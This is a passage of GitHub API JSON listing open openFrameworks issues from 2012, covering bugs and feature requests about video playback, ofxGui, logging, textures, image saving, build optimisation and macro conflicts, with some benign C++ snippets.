IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog 